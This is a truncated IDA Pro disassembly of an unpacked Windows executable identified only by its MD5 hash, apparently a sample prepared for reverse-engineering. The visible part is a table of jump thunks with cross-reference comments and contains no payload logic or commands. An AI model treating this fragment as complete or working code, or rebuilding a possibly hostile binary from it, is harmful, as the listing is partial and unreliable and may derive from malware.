;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	EB673E2FF93C42E0FCD70035969BB837

; File Name   :	u:\work\eb673e2ff93c42e0fcd70035969bb837_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412D20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421B90+29p
		jmp	sub_4220F0
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_4312E0
; ---------------------------------------------------------------------------
		jmp	loc_420E40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:00411953p
		jmp	sub_411980
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B23Dp
					; ___:0040B24Ap ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB30+34p
		jmp	sub_40B080
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+616p
					; sub_404C70+6D5p ...
		jmp	sub_40A0B0
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A190

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413580+3Bp
					; ___:00414BA0p
		jmp	sub_415670
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F8D0+6Ep
					; sub_42F8D0+8Ap ...
		jmp	sub_433070
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EFB2p
					; sub_42F8D0+3Fp ...
		jmp	sub_432EF0
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_4239E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D1B0
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B080+3Ap
					; sub_40B0F0+1Ap
		jmp	sub_432A10
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E700+37Bp
		jmp	sub_421CD0
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C140+8p
		jmp	sub_40C300
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431990+5Ap
					; sub_4337A0+50p
		jmp	sub_431950
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C6B0
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416F4Ap
		jmp	sub_41FC70
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BFE0+32p
		jmp	sub_40C1A0
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_418330
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_4158C0+6Ap
					; sub_416320+32p
		jmp	sub_416260
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E700+161p
					; sub_422480+3p
		jmp	sub_421AF0
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AD80
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421CD0+3p
					; ___:0042209Fp ...
		jmp	sub_422210
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C480+43p
		jmp	sub_40CB50
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_428080

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_424670+23p
					; sub_424810+6p ...
		jmp	sub_424580
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C90+F5p
					; sub_430C90+14Fp
		jmp	sub_432E80
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_433260+C8p
		jmp	sub_430A20
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429E50
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E360

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_4183D0+D0p
					; sub_418530+2Dp
		jmp	sub_418AC0
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FFD0+8D9p
					; sub_40FFD0+990p ...
		jmp	sub_4118D0
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F3C6p
					; ___:0042F434p ...
		jmp	sub_430F90
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421DF0+9p
					; sub_4222E0+18p
		jmp	sub_422460
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AA70+58p
					; sub_40AA70+82p ...
		jmp	sub_40AC60
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422AE0+3F1p
					; ___:00423B46p ...
		jmp	sub_419B80
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_4160B0+7p
		jmp	sub_4166E0
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_4155A0+5Bp
					; sub_415F10+11p ...
		jmp	sub_416160
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429CC0+58p
		jmp	sub_429B30
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421910+1Fp
		jmp	sub_421D50
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_422050+11p
					; ___:00422077p ...
		jmp	sub_422570
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413DD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421AD0+3p
					; ___:00421E3Fp ...
		jmp	sub_421FB0
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414470

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426FB0+3p
		jmp	sub_426FE0
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415AA0+11p
					; ___:00415AC7p ...
		jmp	sub_416510
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_4333A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C00+5p
					; sub_421CF0+6p ...
		jmp	sub_4221F0
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439FFEj ...
		jmp	sub_417B00
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_4129E0
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_419360
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431AB0+6p
					; ___:00431AC3p ...
		jmp	sub_42F510
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E460
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429AC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D3Dp
		jmp	sub_423800
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415118p
		jmp	sub_415A30
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B9F0+F7p
					; sub_41B9F0+10Bp ...
		jmp	sub_409F20
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409990+Ap
		jmp	sub_409A80
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_413440+55p
					; sub_413440+94p ...
		jmp	sub_415800
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_4250A0+18Cp
		jmp	sub_423690
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C2Ep
		jmp	sub_4155A0
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427690+3p
		jmp	sub_4276C0
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_411950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415E70+11p
					; ___:00415E97p ...
		jmp	sub_416690
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D7D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418BB0+23p
					; sub_418E20+11p
		jmp	sub_418F00
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B30+3p
					; sub_418F30+54p ...
		jmp	sub_418D80
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409680+6Ap
					; sub_409680+103p
		jmp	sub_409920
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_4328D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413DEDp
		jmp	sub_413BE0
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A284p
		jmp	sub_41B080
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_413440+88p
					; sub_414840+BFp ...
		jmp	sub_4159D0
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F510+7p
					; sub_42F580+19p ...
		jmp	sub_433940
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB90
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043113Ap
		jmp	sub_430AE0
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421CB0+3p
		jmp	sub_422230
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C2D0+Ap
		jmp	sub_40C390
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:004132E4p
					; ___:00439A2Cj ...
		jmp	sub_415430
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B3E0+3p
		jmp	sub_42B410
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C3Dp
		jmp	sub_414CE0
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A80+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413580+73p
					; ___:00414BDDp ...
		jmp	sub_415690
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E700+58p
		jmp	sub_4205D0
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E10+84p
		jmp	sub_413850
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:004324B8p
		jmp	sub_42FE00
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A4B0
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A810+21p
					; sub_40AA70+A5p
		jmp	sub_40AA50
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A4B0+129p
					; sub_40A890+4p ...
		jmp	sub_40A860
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_4266E0
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:0043234Dp
		jmp	sub_42FB00
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D8D0+346p
					; sub_41D8D0+410p ...
		jmp	sub_421910
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421B50+11p
					; sub_422050+1Fp
		jmp	sub_422180
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B580+3p
		jmp	sub_42B5B0
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C1A0+5Fp
		jmp	sub_40C370
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409CB0
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E700+113p
					; sub_41E700+124p
		jmp	sub_421AD0
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F900
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416B9Bp
					; ___:00439F72j ...
		jmp	sub_417750
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AF40+Fp
		jmp	sub_42FFE0
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418BB0+32p
		jmp	sub_418E20
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_4154A0+5p
					; sub_4156B0+6p ...
		jmp	sub_4160D0
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD30+29p
					; sub_40BE50+29p
		jmp	sub_40BFE0
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E700+3E9p
					; ___:0043B24Bj
		jmp	sub_421B90
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_414540+BFp
		jmp	sub_415280
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_416580+Ap
		jmp	sub_4168C0
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C07p
					; ___:00439F13j ...
		jmp	sub_417050
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_4183D0
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416CD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416EBFp
		jmp	sub_418070
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414700
; ---------------------------------------------------------------------------
		jmp	loc_42F0C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FFD0+387p
					; sub_41EFD0+21Dp ...
		jmp	sub_41B780
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416EFAp
		jmp	sub_418220
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409510+8p
		jmp	sub_409560
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429AC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409680+A5p
					; sub_412C30+21p
		jmp	sub_409890
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+382p
					; sub_41D8D0+5AAp
		jmp	sub_41C0D0
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418C60+23p
					; sub_418F30+11p
		jmp	sub_419080
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_4248C0+Cp
					; sub_4248C0+3Ep ...
		jmp	sub_4243B0
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F700

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+85Ap
					; sub_404C70+AD6p ...
		jmp	sub_40A310
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EBA6p
					; ___:0042EBF6p ...
		jmp	sub_431520
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E700+367p
					; sub_41E700+3D4p ...
		jmp	sub_421D20
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426AF0+107o
		jmp	sub_426D70
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_4247A0+18p
					; sub_4247E0+Ap ...
		jmp	sub_424750
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_4161C0+9p
					; sub_416260+18p
		jmp	sub_416870
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431310+32o
		jmp	sub_431B10
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EBF0
; ---------------------------------------------------------------------------
		jmp	loc_419C50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429B30+67p
		jmp	sub_41FF90
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EF88p
					; sub_42F140+2p ...
		jmp	sub_430300
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_4136E0+3Fp
					; sub_414540+40p ...
		jmp	sub_4151D0
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409F70
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F10+B5p
					; sub_424F10+F1p
		jmp	sub_424EA0
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_4250A0+130p
		jmp	sub_424F10
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416EDAp
		jmp	sub_418120
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416EAFp
		jmp	sub_417FB0
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_430460+1p
		jmp	sub_4304F0
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425FA1p
		jmp	sub_4264E0
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_4183D0+71p
					; sub_4183D0+BBp ...
		jmp	sub_418A90
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A120+7p
		jmp	sub_40A140
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:00431768p
					; sub_4317C0+2Bp
		jmp	sub_431990
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431310+1p
		jmp	sub_431550
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_420880+37Bp
		jmp	sub_421C70
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_4143D0+5Bp
		jmp	sub_4150A0
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415430+29p
					; sub_415550+29p
		jmp	sub_415FD0
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435FD2p
					; ___:00435FE2p ...
		jmp	sub_435E90
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_413440+5Fp
					; sub_413440+9Ep ...
		jmp	sub_415A00
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B5A0+62p
					; ___:0040BA68p ...
		jmp	sub_40BEE0
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_430150
; ---------------------------------------------------------------------------
		jmp	loc_42ECD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B430
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B370

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416130+8p
		jmp	sub_416750
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_413440+71p
					; sub_413440:loc_41350Cp ...
		jmp	sub_4159B0
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_4183D0+AFp
					; sub_419080+3p
		jmp	sub_418B50
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426AF0
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B5A0+39p
					; sub_40B5A0+78p ...
		jmp	sub_40BF10
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_425830+29p
					; sub_425830+38p
		jmp	sub_425740
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A5A0+1Cp
		jmp	sub_41A5E0
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429CC0
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C46p
					; ___:004144F1p
